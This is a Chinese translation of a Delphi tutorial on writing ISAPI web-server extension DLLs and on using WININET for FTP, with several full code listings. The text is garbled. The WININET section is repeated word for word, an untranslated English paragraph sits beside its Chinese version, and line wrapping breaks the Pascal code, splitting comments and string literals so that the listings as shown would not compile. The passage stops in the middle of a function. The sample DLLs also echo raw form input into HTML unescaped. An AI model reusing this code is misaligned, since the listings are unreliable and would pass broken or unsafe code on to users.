<A HREF="/scripts/mystuff/isapi1.dll" >ISAPI One</A><BR>

当用户点击这个超链接时，ISAPI1 Dll会被呼叫，然后字符串“Hello from ISAPI”会显示在用户的浏览器
上。如果您并不是把 ISAPI.DLL放在 mystuff 目录下，那么您应该修改上面的HTML代码来使之与您的情况
适应。注意，您的目录必须与目录 inetsrv 有关，不应，也不能包含您的整个DLL所在的目录。

下面是呼叫的完整的HTML脚本：

<HTML>
<HEAD>
<TITLE>CharlieC Home Page</TITLE>
</HEAD>
<BODY>
<H1>My Home Page </H1>
<P>
This is the home page for my home computer.
<P>
<A HREF="/scripts/mystuff/isapi1.dll" >ISAPI One</A><BR>
</BODY>
</HTML>

注意，如果您多次把程序ISAPI1.DLL复制到 mystuff 目录下，在每一次复制之前您应该关掉网络服务器的
万维网端口。这是因为，在第一次复制这个DLL时，您可以不受限制，但在此之后，它就属于服务器了。因
此，在您复制第一次拷贝的更新版本时，因当关掉万维网服务。您可以使用网络管理程序来关掉万维网服
务。这个程序应该在微软网络管理程序组（Microsoft Internet Server group）下面，在安装网络信息服
务时被安装到程序管理器（Explorer/Program Manager）下。

与 TExtensionControlBlock 一起工作

通过本文中的这一要点，您能够建立您的第一个ISAPI DLL，并且能在第二台机器上的网页浏览器调用它。
在本文中接下来的ISAPI的其余部分将会更加深入。

这里是HttpExtensionProc参数中比较复杂的部分

PExtensionControlBlock = ^TExtensionControlBlock;
TExtensionControlBlock = packed record
cbSize: DWORD; // = sizeof(TExtensionControlBlock)
dwVersion: DWORD; // version info of this spec
ConnID: HCONN; // Context Do not modify!
dwHttpStatusCode: DWORD; // HTTP Status code
// null terminated log info specific to this Extension DLL
lpszLogData: array [0..HSE_LOG_BUFFER_LEN-1] of Char;
lpszMethod: PChar; // REQUEST_METHOD
lpszQueryString: PChar; // QUERY_STRING
lpszPathInfo: PChar; // PATH_INFO
lpszPathTranslated: PChar; // PATH_TRANSLATED
cbTotalBytes: DWORD; // Total bytes from client
cbAvailable: DWORD; // Available number of bytes
lpbData: Pointer; // pointer to cbAvailable bytes
lpszContentType: PChar; // Content type of client data

GetServerVariable: TGetServerVariableProc;
WriteClient: TWriteClientProc;
ReadClient: TReadClientProc;
ServerSupportFunction: TServerSupportFunctionProc;
end;

注意到这个纪录中包含了上面提到过的ConnID字段，并且向 WriteClient 传送第一个参数。

这个纪录中的第一个参数是为版本控制而设的。它应该是TExtensionControlBlock的大小的规定。如果微软公
司改变了它的结构，那么它们能够通过检查纪录的大小来判断它们正在处理的结构版本。您永远也不要这个纪
录中的前三个字段，它们早已被ISAPI填充，在您的程序中，它们只能被访问，而不能被改变。

这个纪录中最重要的字段可能就是lpszQueryString了，它包含了从服务器上传来的请求的信息。例如，假设您
已经创建了一个名叫 ISAPI1.Dll。为了调用这个DLL，您就要在您的浏览器的一页上创建一个像这样的HREF
[注：HTML语言中的一种格式（译者）] ：

<A HREF="/scripts/mystuff/test1.dll">Test One</A>

如果您希望响应这个DLL，您就要对上面那行做这样的改动：

<A HREF="/scripts/mystuff/test1.dll?MyQuery">Test One</A>

假如HTML代码段中有像上面两行中的第二行，那么，您的DLL就会在lpszQueryString参数中得到“MyQuery”
的字符串，特别要注意跟在请求字符串后的请求标志的使用。

当然，您可以随心所欲地改变请求字符串。例如，您可以这样写：

<A HREF="/scripts/mystuff/test1.dll?ServerName">Test One</A>

在这个请求中，这个DLL会回答服务器的名称。您在传递这个参数时，不受任何限制。您可以传递任何您想要
的东西，而且，如何分析DLL中的信息也由您的喜好决定。

当您从服务器返回信息至浏览器时，您使用到了这个纪录中的“WriteClient”函数指针。在初始化这个指针
时您不需做任何事；它已经自动地有网络信息服务器传递给您了。

CGI应用程序的作者会注意到传送请求字符串的语法十分熟悉。事实上，ISAPI跟随了CGI的大多数习惯，在
TExtensionControlBlock中的多数字段可以简单地被CGI技术借用。

在TExtensionControlBlock中的另一个关键字段是 lpbData ，它包含了从浏览起上传给您的附加信息。
例如，您有一个伴随几个字段的HTML窗体，这些自断中包含的信息就会被一个叫做“lpData”的指针传
递。本文中的下一个主题，“从‘确认’按钮中获得信息”，将会着重讲述怎样处理这种情况。

到现在为止我已经介绍了TExtensionControlBlock中的四个关键字段:

WriteClient: 一个能够让您传递格式化的HTML数据到浏览器上的指针。这个函数用到了
TExtensionControlBlock的ConnID字段。

lpszQueryString: 从浏览骑上传来的请求。

lpbData: 从浏览器上传给你的人一的附加数据。通常是一个HTML窗体的任意字段的内容。我将在“确认
按钮”这部分进一步讨论。

要获得其他TExtensionControlBlock中的字段是如何工作的感觉，最好的办法就是亲自在浏览其中将他们
做对照。换句话说，您会希望创建一个HTML页，使得用能够调用客户端的ISAPI DLL。这个ISAPI DLL的目
的仅仅是在HTML中格式话TExtensionControlBlock中的每一个字段，然后把它们传回浏览器。这样就把您
的浏览器变成了一个有点可怕的调试器，来显示TExtensionControlBlock中的所有字段。

这里有一个程序，由Borland公司的 Danny Thorpe 编写，他会执行这个任务：

library test1;

uses
Windows,
SysUtils,
HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):
BOOL;
stdcall;
begin
Ver.dwExtensionVersion := $00010000; // 1.0
support
Ver.lpszExtensionDesc := 'A test DLL written in Delphi
2.0';
Result := True;
end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):
DWORD; stdcall;
var
ResStr: string;
StrLen: Integer;
Buf: array [0..1024] of Char;
begin
ECB.lpszLogData := 'Delphi DLL Log';
ECB.dwHTTPStatusCode := 200;
ResStr := Format(
'<HTML><TITLE>Test server result</TITLE>' +
'<H1>Test server results</H1>' +
'Size = %d<BR>'+
'Version = %.8x<BR>'+
'ConnID = %.8x<BR>'+
'Method = %s<BR>' +
'Query = %s<BR>' +
'PathInfo = %s<BR>'+
'PathTranslated = %s<BR>'+
'TotalBytes = %d<BR>'+
'AvailableBytes = %d<BR>'+
'ContentType = %s<BR><BR>'+
'<H1>Some Server Variables</H1>',
[ECB.cbSize, ECB.dwVersion, ECB.ConnID,
ECB.lpszMethod, ECB.lpszQueryString,
ECB.lpszPathInfo, ECB.lpszPathTranslated,
ECB.cbTotalBytes, ECB.cbAvailable,
ECB.lpszContentType]);
with ECB do
begin
StrLen := Sizeof(Buf);
GetServerVariable(ConnID, 'REMOTE_ADDR', @Buf, StrLen);
ResStr := ResStr + 'REMOTE_ADDR= '+Buf+'<BR>';
StrLen := SizeOf(Buf);
GetServerVariable(ConnID, 'REMOTE_HOST', @Buf, StrLen);
ResStr := ResStr + 'Remote_Host = '+Buf+'<BR>';
StrLen := SizeOf(Buf);
GetServerVariable(ConnID, 'REMOTE_USER', @Buf, StrLen);
ResStr := ResStr + 'Remote_User = '+Buf+'<BR>';
StrLen := SizeOf(Buf);
GetServerVariable(ConnID, 'SERVER_NAME', @Buf, StrLen);
ResStr := ResStr + 'SERVER_NAME = '+Buf+'<BR>';
StrLen := SizeOf(Buf);
GetServerVariable(ConnID, 'SERVER_PORT', @Buf, StrLen);
ResStr := ResStr + 'SERVER_PORT = '+Buf+'<BR>';
StrLen := SizeOf(Buf);
GetServerVariable(ConnID, 'SERVER_PROTOCOL', @Buf, StrLen);
ResStr := ResStr + 'SERVER_PROTOCOL= '+Buf+'<BR>';
StrLen := SizeOf(Buf);
GetServerVariable(ConnID, 'SERVER_SOFTWARE', @Buf, StrLen);
ResStr := Format('%sSERVER_SOFTWARE= %s<BR>'+
'ThreadID = %.8x<BR>',[ResStr, Buf, GetCurrentThreadID]);
end;
ResStr := ResStr + '</HTML>';
ResStr := Format(
'HTTP/1.0 200 OK'#13#10+
'Content-Type: text/html'#13#10+
'Content-Length: %d'#13#10+
'Content:'#13#10#13#10'%s', [Length(ResStr), ResStr]);
StrLen := Length(ResStr);
ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);
Result := HSE_STATUS_SUCCESS;
end;

exports
GetExtensionVersion,
HttpExtensionProc;

begin
end.

为了调用这个DLL，您应该建立一个包括下面这行的 HRML 脚本

<A HREF="/scripts/mystuff/test1.dll">Test One</A> <BR>

从“确认”按钮获得信息

通常向您发送信息的HTML窗体中都有一个确认按钮。只要信息量小于49KB，您就可以认为TExetensionControlBlock中的 lpbData 字段是可用的。这里显示了您可以如何在大多数情况下获得由这个字段的指针发来的信息：

var
S: string;
begin
…
S := PChar(ECB.lpbData);
…
end;

如果从这个字段传来的信息大于48KB，那么您必须呼叫 ReadClient 来获得其余的信息。

如果您想要确切地知道在 lpbData 字段中哪些信息是可用的，您可以使用下面两个函数把数据传回到您的网页浏览器中：

function SetUpResString: string;
begin
Result := '<HTML>' +
'<TITLE>Test server result</TITLE>' +
'<H1>Test server results</H1>' +
'<BODY>lpbData = %s </BODY>' +
'</HTML>';
end;

function HttpExtensionProc(var ECB: TExtensionControlBlock):
DWORD;
stdcall;
var
ResStr: string;
StrLen: Integer;
S, S1:
string;
begin
ECB.lpszLogData := 'Delphi DLL Log';
ECB.dwHTTPStatusCode
:= 200;
ResStr := SetUpResString;
S :=     PChar(ECB.lpbData);
ResStr :=
Format(ResStr, [S]);
StrLen := Length(ResStr);
ECB.WriteClient(ECB.ConnID,
Pointer(ResStr), StrLen, 0);
Result := HSE_STATUS_SUCCESS;
end;

假设您已经有了附有下面代码的HTML窗体：

<FORM ACTION="/scripts/mystuff/isapi2.dll" METHOD="POST"
ENCTYPE="application/x-www-form-urlencoded">

<P>
Enter Number to Square: <INPUT NAME="GetSquare" VALUE=""
MAXLENGTH="25" SIZE=25>
<P>
<INPUT TYPE=SUBMIT VALUE="Submit" NAME="GetSquare">
</FORM>

这段代码会产生一个包含一个供您输入数字的文本区和一个叫做“submit”按钮的窗体，按钮的名字叫做“GetSquare”。如果有了这个窗体，接着您可以预计上面的两段程序会返回如下的字符串，假设用户在窗体中的文本区输入了数字23：

lpbData = GetSquare=23&GetSquare=Submit

为了理解这时究竟发生了什么，注意一下从上面函数中摘录HTML语句中的主体部分，这部分语句驻留在服务器上，反映如下：

'<BODY>lpbData = %s </BODY>' +

如果您研究过上面 HttpExtensionProc 函数中的代码，您会发现就在这句之前，它使用了 Format 语句中的 %s 参数来代替了 ECB.lpbData 中的值。（如果您不清楚语句 Format 是怎样工作的，请参阅有关的 Delphi 文档）[注：在作者所著的 Delphi2 编程大全（Delphi2 Unleashed）中的第三章《字符串与文本文件》中有详细说明（译者）]

假设上面所示的窗体中，当用户按下“确认”按钮时，lpbData 传递给
ISAPI DLL的值是：

GetSquare=23&GetSquare=Submit

为了让您有清晰的概念，让我重复一下上面两个语句传回给浏览器的信息是下面的字符串，您已经看过了：

lpbData = GetSquare=23&GetSquare=Submit

观看这个过程的最好办法试运行下面列出的 ISAPI2 程序。 ISAPI2 和
ISAPI1 差不多，但他包含了上面显示的新的 HttpExtensionProc 函数，并且它还包含了 SetUpResString 这个实用函数。

library Isapi2;

uses
Windows, SysUtils, HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):
BOOL;
stdcall;
begin
Ver.dwExtensionVersion := $00010000; // 1.0
support
Ver.lpszExtensionDesc := 'DLL written in Delphi 2.0';
Result :=
True;
end;

function SetUpResString: string;
begin
Result := '<HTML>' +
'<TITLE>Test server result</TITLE>' +
'<H1>Test server results</H1>' +
'<BODY>lpbData = %s </BODY>' +
'</HTML>';
end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):
DWORD;
stdcall;
var
ResStr: string;
StrLen: Integer;
S, S1: string;
Len:
Integer;
begin
ECB.lpszLogData := 'Delphi DLL
Log';
ECB.dwHTTPStatusCode := 200;
ResStr := SetUpResString;
S :=
PChar(ECB.lpbData);
ResStr := Format(ResStr, [S]);
StrLen :=
Length(ResStr);
ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen,
0);
Result := HSE_STATUS_SUCCESS;
end;

exports
GetExtensionVersion,
HttpExtensionProc;

begin
end.

一旦您从窗体中获得了由 lpbData 变量传来的信息，您就能分析这些信息或者把它们返回给用户。比如说，您可以从上面例子中把数字23抽出来，做平方后返回用户。通过这样做可以使您从用户中获得信息，在这里是数字，对数字进行一些数学运算，最后把结果返回给用户。这意味着您可以在电波中创建互动的网页，这可是现在因特网编程中最流行的哦！

以下是一个通过网络提交数字平方给浏览器的完整的程序代码：

library Isapi3;

{ This code shows how to take input from the user via a browser,
parse that information, and then return an answer to the user.
In particular, the user submits a number, this code squares it,
and then sends the result back to user.

Here is the form from the browser that submits the information
for parsing:

<FORM ACTION="/scripts/mystuff/isapi2.dll"
METHOD="POST"
ENCTYPE="application/x-www-form-urlencoded">

<P>
Enter Number to Square: <INPUT NAME="GetSquare" VALUE=""
MAXLENGTH="25" SIZE=25>
<P>
<INPUT TYPE=SUBMIT VALUE="Submit" NAME="GetSquare">
</FORM>

}

uses
Windows, SysUtils, HTTPExt,
StrBox;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):
BOOL;
stdcall;
begin
Ver.dwExtensionVersion := $00010000; // version 1.0
support
Ver.lpszExtensionDesc := 'ISAPI3.DLL';
Result := True;
end;

// Parse lpbData and retrieve the number the user passed to us.
function
ParseData(S: string): Integer;
begin
S := StripLastToken(S, '&');
S
:= StripFirstToken(S, '=');
Result := StrToInt(S);
end;

function SetUpResString: string;
begin
Result := '<HTML>' +
'<TITLE>Test server result</TITLE>' +
'<H1>Test server results</H1>' +
'<BODY>Answer = %d </BODY>' +
'</HTML>';
end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):
DWORD;
stdcall;
var
ResStr: string;
StrLen: Integer;
S, S1: string;
Num:
Integer;
begin
ECB.lpszLogData := 'Delphi DLL
Log';
ECB.dwHTTPStatusCode := 200;
ResStr := SetUpResString;
S :=
PChar(ECB.lpbData);
Num := ParseData(S);
Num :=     Sqr(Num);
ResStr :=
Format(ResStr, [Num]);
StrLen :=
Length(ResStr);
ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen,
0);
Result := HSE_STATUS_SUCCESS;
end;

exports
GetExtensionVersion,
HttpExtensionProc;

begin
end.

这段代码从按下确认按钮的用户那里接受下面的字符串，用户要求平方后的数字：

GetSquare=5&GetSquare=Submit

假设这样输入，这段代码会通过因特网返回用户下面的字符串：

Answer = 25

一句话，用户输入数字5，你返回用户数字25。如果用户提交数字10，那么您返回数字100。这看起来微不足道，但在这里重要的是因特网上发生的行为[注：指互动网页（译者）]

分析用户传来的函数像这样：

// Parse lpbData and retrieve the number the user passed to us.
function ParseData(S: string): Integer;
begin
S := StripLastToken(S, '&');
S := StripFirstToken(S, '=');
Result := StrToInt(S);
end;

这两个语句在单元中，在本文开头提到过，也包含在我的站点上。［注:这个文件在网络上几乎到处可见,您也可以向译者索取(译者)］[

在本篇文章中,关于ISAPI我只想谈这么多了。这些内容对于启发您利用这项优越的技术并获得乐趣来说应该是够用的了。接下来我要谈一下 GetServerVariable 、ReadClient 这两个语句，在这方面我只进行了极其有限的试验。在本文中，我附加了 HTTPEXT.PAS 文件，因为除了这分关键文档，在其他地方您不会找到它。

GetServerVariable 和 ReadClient 语句

正如您的CGI应用程序中的请求信息一样，您可以使用语句来从服务器上获得信息。下面是呼叫这个语句的例子：

Len := HseMaxExtDllNameLen;
SetLength(S1, Len);
Dec(Len);
ECB.GetServerVariable(ECB.ConnID,
'CONTENT_LENGTH',
PChar(S1),
Len);

首先，这段代码设定了保留从服务器上取得的信息的缓冲区的长度。接着它呼叫服务器并发出请求，在本例中，它要求获得服务器传来的信息的"CONTENT_LENGTH"。

微软公司的文献告诉我们，您可以通过 GetServerVariable 的第二个参数来传递跟着的字符串：

AUTH_TYPE 它包含了使用授权的类型。比如，如果使用的是基本（basic）授权，那么字符串就是"basic"；如果是 NT challenge 回应，字符串就是"NTLM"。其他的授权属尤其对应的字符串。因为不断有新的授权类型被增添到服务器上，列出所有可能的字符串是不可行的。如果字符串为空，那么并没有使用任何授权。

CONTENT_LENGTH 脚本预计从客户端回收到的字节数。

CONTENT_TYPE 由请求布告的主体部分提供的信息的内容类型。[注：小弟才疏学浅，a POST request 暂译作"请求布告"，望方家指正（译者）]

PATH_INFO 附加的路由信息，由客户机提供。它包含了跟在脚本名字之后的URL的漫游路由。如果有的话，它在请求字符串的前面。

PATH_TRANSLATED 它是 PATH_INFO 的值，但包含了扩充到一个路径标志的所有虚拟路由的名字。

QUERY_STRING 跟在参考这个脚本的URL中的"？"后面的信息。

REMOTE_ADDR 发出请求的客户机或其代理商（例如，网关或防火墙）的IP地址。

REMOTE_HOST 发出请求的客户机或其代理商（例如，网关或防火墙）的主机名。

REMOTE_USER 它包含了由客户机提供并且由服务器授权的用户名。如果返回空串那么用户使你名的（但是经过授权）。

UNMAPPED_REMOTE_USER 它是有如下特征的用户的名称：该用户向NT用户帐目发出请求（这是他以身份出现），在此之前ISAPI应用程序过滤起映射了该用户。

REQUEST_METHOD 是 HTTP 请求方法。

SCRIPT_NAME 执行的脚本程序名称。

SERVER_NAME 当它以自参考URLs形式出现时的主机名或IP地址。

SERVER_PORT 接受请求的TCP/IP的端口。

SERVER_PORT_SECURE 一个非0即1的字符串。当请求由安全端口处理时，它是1；否则是0。

SERVER_PROTOCOL 接受与这个请求相关的协议的信息的名称和版本。他通常是 HTTP/1.0 。

SERVER_SOFTWARE 是ISAPI应用DLL程序运行时所在的网页服务器的名称和版本。

ALL_HTTP 先前的变量并没有分析全部的HTTP字段头。这些变量从HTTP_<字段头名>中得出。字段头（由行标分离）包含了各自的字符串，这些字符串并不会终止。

HTTP_ACCEPT HTTP字段头的特例。接受的值是：字段由逗号（，）分离。例如：如果下面的几行是HTTP头的一部分：
接受：*/*，q=0.1
则URL（2.0新版本的特性）给出它的基础部分。

要注意的是，上面给出的信息片是由 TExtensionControlBlock 纪录自动传递的。因此您不需要调用GetServerVariable。不过，如果您确有需要，特别是您要从 ReadClient 中获得信息和需要知道要读入多少信息时，您可以调用它。

在很多时候，您不需要调用 ReadClient 。但是，您浏览器发出的信息量大于48KB的时候，您需要调用 ReadClient 来获取其余的信息。

《第二》
--------------------------------------------------------------------------------
FTP 使用 WININET

现在您阅读的是本文的第二部分，它包含了WININET的内容。正如前文提及的那样，这个部分与第一部分完全无关。

让我们先来对您在FTP部分使用WININET DLL时需要编写的代码作一个做一个概括的了解。这并不是一个详尽的学习，但却能够让您进门。为了知晓这项技术，您要做的第一件事情是明白 WININET.PAS 中的一些函数返回的是一个叫做 HINTERNET 类的指针变量：

var
HINTERNET: Pointer;

这个指针扮演一个您正在使用的不同的因特网服务的句柄的角色。获得了这个句柄之后，你应当把它作为第一个参数传递给在这个进程周期[注：指FTP的整个存在时间（译者）]中调用的其他WININET函数。

您要记住的适当您在使用它的时间内要把句柄返回给系统，通常是通过调用 WININET 函数 InternetCloseHandle 来实现：

function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall;

为了让一个WININET进程开始，您调用 InternetOpen :

function InternetOpen(lpszCallerName: PChar; dwAccessType: DWORD;
lpszServerName: PChar; nServerPort: INTERNET_PORT;
dwFlags: DWORD): HINTERNET; stdcall;

第一个参数时打开这个进程的应用程序的名字。您可以在这个参数中传递任何您所要的任意符串。微软公司的文献声称"这个名字作为HTTP协议中的用户代理器的名字而被使用"。这个保留的参数可以设为0或空。

var
MyHandle: HINTERNET;
…
begin
MyHandle := InternetOpen('MyApp', 0, nil, 0, 0);
end;

如果您想要关于这个函数的更多信息，从 www.microsoft.com 那里下载 WININET.HLP 。

打开了这这个进程之后，下一步是通过 InternetConnect 函数来连接到服务器上。

function InternetConnect(
hInet: HINTERNET; // Handle from InternetOpen
lpszServerName: PChar; // Server: i.e., www.borland.com
nServerPort: INTERNET_PORT; // Usually 0
lpszUsername: PChar; // usually anonymous
lpszPassword: PChar; // usually your email address
dwService: DWORD; // FTP, HTTP, or Gopher?
dwFlags: DWORD; // Usually 0
dwContext: DWORD): // User defined number for callback
HINTERNET; stdcall;

这里有三个可能的可以通过 dwService 参数传递的自说明旗标，它们是互斥的：

INTERNET_SERVICE_FTP
INTERNET_SERVICE_GOPHER
INTERNET_SERVICE_HTTP

下面是 dwFlags 参数的选择：

INTERNET_CONNECT_FLAG_PASSIVE

这个选项仅当您在前一个参数中传递了 INTERNET_SERVER_FTP 才有效。这时候这个参数没有其他有效的选项。

如果这个进程成功的话会返回一个有效的指针，否则它返回空。

连接上之后

当您连接上之后，您可以调用来 GetCurrentDirectory 获得当前的路径的名字：

function TMyFtp.GetCurrentDirectory: string;
var
Len: Integer;
S: string;
begin
Len := 0;
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
SetLength(S, Len);
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
Result := S;
end;

这个函数声明如下：

function FtpGetCurrentDirectory(
hFtpSession: HINTERNET; // handle from InternetConnect
lpszCurrentDirectory: PChar; // directory returned here
var lpdwCurrentDirectory: DWORD): // buf size of 2nd parameter
BOOL; stdcall; // True on success

如果您把最后一个参数设为0，那么WININET会使用这个参数来返回路径字符串的长度。接着您可以为您的字符串分配内存，也可以在调用一次这个函数来获得路径的名字。这个过程在上面的方法中已经演示过了。（注意到*设定长度*的那个调用，Delphi 要求您在类似这样的情况下为新的长字符串分配内存！这是因为这个字符串必须在操作系统中指定值，而不是在 Delphi 应用程序中指定。结果就是 Delphi 不能在类似的情况下像它通常那样悄悄地为字符串分配内存）

下面是返回在特定路径下当前可用的文件的一系列函数：

function GetFindDataStr(FindData: TWin32FindData): string;
var
S:
string;
Temp: string;
begin
case FindData.dwFileAttributes
of
FILE_ATTRIBUTE_ARCHIVE: S := 'A';
// FILE_ATTRIBUTE_COMPRESSED: S :=
'C';
FILE_ATTRIBUTE_DIRECTORY: S := 'D';
FILE_ATTRIBUTE_HIDDEN: S :=
'H';
FILE_ATTRIBUTE_NORMAL: S := 'N';
FILE_ATTRIBUTE_READONLY: S :=
'R';
FILE_ATTRIBUTE_SYSTEM: S := 'S';
FILE_ATTRIBUTE_TEMPORARY: S :=
'T';
else
S :=     IntToStr(FindData.dwFileAttributes);
end;
S := S +
GetDots(75);
Move(FindData.CFilename[0], S[6],
StrLen(FindData.CFileName));
Temp :=
IntToStr(FindData.nFileSizeLow);
Move(Temp[1], S[25],
Length(Temp));
Result := S;
end;

function TMyFtp.FindFiles: TStringList;
var
FindData:
TWin32FindData;
FindHandle: HInternet;
begin
FindHandle :=
FtpFindFirstFile(FFtphandle, '*.*',
FindData, 0, 0);
if FindHandle =         nil
then begin
Result :=
nil;
Exit;
end;
FCurFiles.Clear;
FCurFiles.Add(GetFindDataStr(FindData));
while
InternetFindnextFile(FindHandle, @FindData)
do
FCurFiles.Add(GetFindDataStr(FindData));
InternetCloseHandle(Findhandle);
GetCurrentDirectory;
Result :=
 FCurFiles;
end;

这里需要注意的关键函数是 ftpFindFirstFile, InternetFindNextFile & InternetCloseHandle 。您可以像调用 Delphi 函数 FindFirst、FindNext & FinClose 一样调用这些函数。特别的是，您使用函数 ftpFindFirstFile 来取得这个路径下的第一个函数。您可以不断地调用 InternetFindNextFile ，直到函数返回"False"为止。当这个进程结束时，调用 InternetCloseHandle 来通知操作系统回收与这个进程相关的内存。

我不准备在这里进一步解析这个进程。如果您想要更多的信息，您可以在 Delphi 帮助中查找 FindFirst 。最后提醒一句：并不向前文提及的函数，TWin32FindData 并不是在 WININET.PAS 中定义的， 但可以在随 Delphi 分发的 WIN32 帮助文件中找到它。它在随 Delphi 分发的 WINDOWS.PAS 文件中被定义。

FTP 使用 WININET

现在您阅读的是本文的第二部分，它包含了WININET的内容。正如前文提及的那样，这个部分与第一部分完全无关。

让我们先来对您在FTP部分使用WININET DLL时需要编写的代码作一个做一个概括的了解。这并不是一个详尽的学习，但却能够让您进门。为了知晓这项技术，您要做的第一件事情是明白 WININET.PAS 中的一些函数返回的是一个叫做 HINTERNET 类的指针变量：

var
HINTERNET: Pointer;

这个指针扮演一个您正在使用的不同的因特网服务的句柄的角色。获得了这个句柄之后，你应当把它作为第一个参数传递给在这个进程周期[注：指FTP的整个存在时间（译者）]中调用的其他WININET函数。

您要记住的适当您在使用它的时间内要把句柄返回给系统，通常是通过调用 WININET 函数 InternetCloseHandle 来实现：

function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall;

为了让一个WININET进程开始，您调用 InternetOpen :

function InternetOpen(lpszCallerName: PChar; dwAccessType: DWORD;
lpszServerName: PChar; nServerPort: INTERNET_PORT;
dwFlags: DWORD): HINTERNET; stdcall;

第一个参数时打开这个进程的应用程序的名字。您可以在这个参数中传递任何您所要的任意符串。微软公司的文献声称"这个名字作为HTTP协议中的用户代理器的名字而被使用"。这个保留的参数可以设为0或空。

var
MyHandle: HINTERNET;
…
begin
MyHandle := InternetOpen('MyApp', 0, nil, 0, 0);
end;

如果您想要关于这个函数的更多信息，从 www.microsoft.com 那里下载 WININET.HLP 。

打开了这这个进程之后，下一步是通过 InternetConnect 函数来连接到服务器上。

function InternetConnect(
hInet: HINTERNET; // Handle from InternetOpen
lpszServerName: PChar; // Server: i.e., www.borland.com
nServerPort: INTERNET_PORT; // Usually 0
lpszUsername: PChar; // usually anonymous
lpszPassword: PChar; // usually your email address
dwService: DWORD; // FTP, HTTP, or Gopher?
dwFlags: DWORD; // Usually 0
dwContext: DWORD): // User defined number for callback
HINTERNET; stdcall;

这里有三个可能的可以通过 dwService 参数传递的自说明旗标，它们是互斥的：

INTERNET_SERVICE_FTP
INTERNET_SERVICE_GOPHER
INTERNET_SERVICE_HTTP

下面是 dwFlags 参数的选择：

INTERNET_CONNECT_FLAG_PASSIVE

这个选项仅当您在前一个参数中传递了 INTERNET_SERVER_FTP 才有效。这时候这个参数没有其他有效的选项。

如果这个进程成功的话会返回一个有效的指针，否则它返回空。

连接上之后

当您连接上之后，您可以调用来 GetCurrentDirectory 获得当前的路径的名字：

function TMyFtp.GetCurrentDirectory: string;
var
Len: Integer;
S: string;
begin
Len := 0;
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
SetLength(S, Len);
ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);
Result := S;
end;

这个函数声明如下：

function FtpGetCurrentDirectory(
hFtpSession: HINTERNET; // handle from InternetConnect
lpszCurrentDirectory: PChar; // directory returned here
var lpdwCurrentDirectory: DWORD): // buf size of 2nd parameter
BOOL; stdcall; // True on success

如果您把最后一个参数设为0，那么WININET会使用这个参数来返回路径字符串的长度。接着您可以为您的字符串分配内存，也可以在调用一次这个函数来获得路径的名字。这个过程在上面的方法中已经演示过了。（注意到*设定长度*的那个调用，Delphi 要求您在类似这样的情况下为新的长字符串分配内存！这是因为这个字符串必须在操作系统中指定值，而不是在 Delphi 应用程序中指定。结果就是 Delphi 不能在类似的情况下像它通常那样悄悄地为字符串分配内存）

下面是返回在特定路径下当前可用的文件的一系列函数：

function GetFindDataStr(FindData: TWin32FindData): string;
var
S:
string;
Temp: string;
begin
case FindData.dwFileAttributes
of
FILE_ATTRIBUTE_ARCHIVE: S := 'A';
// FILE_ATTRIBUTE_COMPRESSED: S :=
'C';
FILE_ATTRIBUTE_DIRECTORY: S := 'D';
FILE_ATTRIBUTE_HIDDEN: S :=
'H';
FILE_ATTRIBUTE_NORMAL: S := 'N';
FILE_ATTRIBUTE_READONLY: S :=
'R';
FILE_ATTRIBUTE_SYSTEM: S := 'S';
FILE_ATTRIBUTE_TEMPORARY: S :=
'T';
else
S :=     IntToStr(FindData.dwFileAttributes);
end;
S := S +
GetDots(75);
Move(FindData.CFilename[0], S[6],
StrLen(FindData.CFileName));
Temp :=
IntToStr(FindData.nFileSizeLow);
Move(Temp[1], S[25],
Length(Temp));
Result := S;
end;

function TMyFtp.FindFiles: TStringList;
var
FindData:
TWin32FindData;
FindHandle: HInternet;
begin
FindHandle :=
FtpFindFirstFile(FFtphandle, '*.*',
FindData, 0, 0);
if FindHandle =         nil
then begin
Result :=
nil;
Exit;
end;
FCurFiles.Clear;
FCurFiles.Add(GetFindDataStr(FindData));
while
InternetFindnextFile(FindHandle, @FindData)
do
FCurFiles.Add(GetFindDataStr(FindData));
InternetCloseHandle(Findhandle);
GetCurrentDirectory;
Result :=
 FCurFiles;
end;

这里需要注意的关键函数是 ftpFindFirstFile, InternetFindNextFile & InternetCloseHandle 。您可以像调用 Delphi 函数 FindFirst、FindNext & FinClose 一样调用这些函数。特别的是，您使用函数 ftpFindFirstFile 来取得这个路径下的第一个函数。您可以不断地调用 InternetFindNextFile ，直到函数返回"False"为止。当这个进程结束时，调用 InternetCloseHandle 来通知操作系统回收与这个进程相关的内存。

I'm not going to explain this process further in this newsletter. If you want more information, you might look up FindFirst in the Delphi help. One final note: Unlike the functions mentioned in the previous paragraph, TWin32FindData is not defined in WININET.PAS, but instead can be found in the WIN32 help file that ships with Delphi. It is declared in the WINDOWS.PAS file that ships with Delphi.
我不准备在这里进一步解析这个进程。如果您想要更多的信息，您可以在 Delphi 帮助中查找 FindFirst 。最后提醒一句：并不向前文提及的函数，TWin32FindData 并不是在 WININET.PAS 中定义的， 但可以在随 Delphi 分发的 WIN32 帮助文件中找到它。它在随 Delphi 分发的 WINDOWS.PAS 文件中被定义。
==================================================================================

接受一个文件

您可以使用 WININET.PAS 文件中的 ftpGetFile 函数来从FTP取回一个文件:

function FtpGetFile(
hFtpSession: HINTERNET; // Returned by InternetConnect
lpszRemoteFile: PChar; // File to get
lpszNewFile: PChar; // Where to put it on your PC
fFailIfExists: BOOL; // Overwrite existing files?
dwFlagsAndAttributes: DWORD; // File attribute-See CreateFile.
dwFlags: DWORD; // Binary or ASCII transfer
dwContext: DWORD): // Usually zero
BOOL stdcall; // True on success

下面是一个如何使用该函数的例子：

function TMyFtp.GetFile(FTPFile, NewFile: string): Boolean;
begin
